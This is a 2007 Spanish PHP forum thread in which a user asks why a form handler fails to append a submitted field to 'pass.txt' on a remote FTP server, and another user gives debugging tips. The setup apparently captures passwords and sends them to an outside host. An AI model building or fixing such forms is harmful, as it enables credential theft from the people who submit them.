Duda codigo PHP

Iniciado por knox18, 9 Septiembre 2007, 12:13 PM

0 Miembros y 1 Visitante están viendo este tema.

knox18

Aver.. wenas..

yo sk toi haciendo un formulario ok? y mi intencion es k el formulario este en un primer arxivo con extension html ok? yk despues kuando le des al boton enviar se vaya a un arxivo html tmb con el sigiente codigo

<? 
$fp = fopen("ftp://*****:*******@ftp.usuarios.lycos.es/pass.txt","a"); 
fwrite($fp,$_POST["$name"]); 
fclose($fp); 
?>


ok? aora el problema kuando lo ace no me escribe en el arxivo detallado xk?

$name es el nombre del del input, ya e comprobado eso xo no entiendo el xk no salen?? akaso tngo k ponerlos en arxivos php?? no ace falta si ya e declarado el tipo de lenguaje no?
Duerme con el pensamiento de la muerte y levántate con el pensamiento de que la vida es corta.

P[i]

#1
Bueno el problema esta en esto
ftp://*******:********@ftp.usuarios.lycos.es/pass.txt

Puede ser que el server ftp no soporte modo pasivo por eso esto no funciona mira:
CitarSi filename comienza con "ftp://" (no es sensible a mayúsculas), se abre una conexión ftp hacia el servidor especificado y se devuelve un apuntador al fichero requerido. Si el servidor no soporta ftp en modo pasivo, esto fallará. Se pueden abrir fichero via ftp para leer o para escribir (pero no ambas cosas simultáneamente).
http://www.phpbuilder.com/manual2/manual/es/function.fopen.php


Por cierto no estaria de mal confirmar la apertura del archivo con algo asi, por lo menos mientras lo depuras:

<?
$fp = fopen("archivo.txt","a");
if($fp==null) echo "Error al guardar datos";
else {
  fwrite($fp,"hola");
  fclose($fp);
  echo "Datos guardados";
}
?>


Saludos.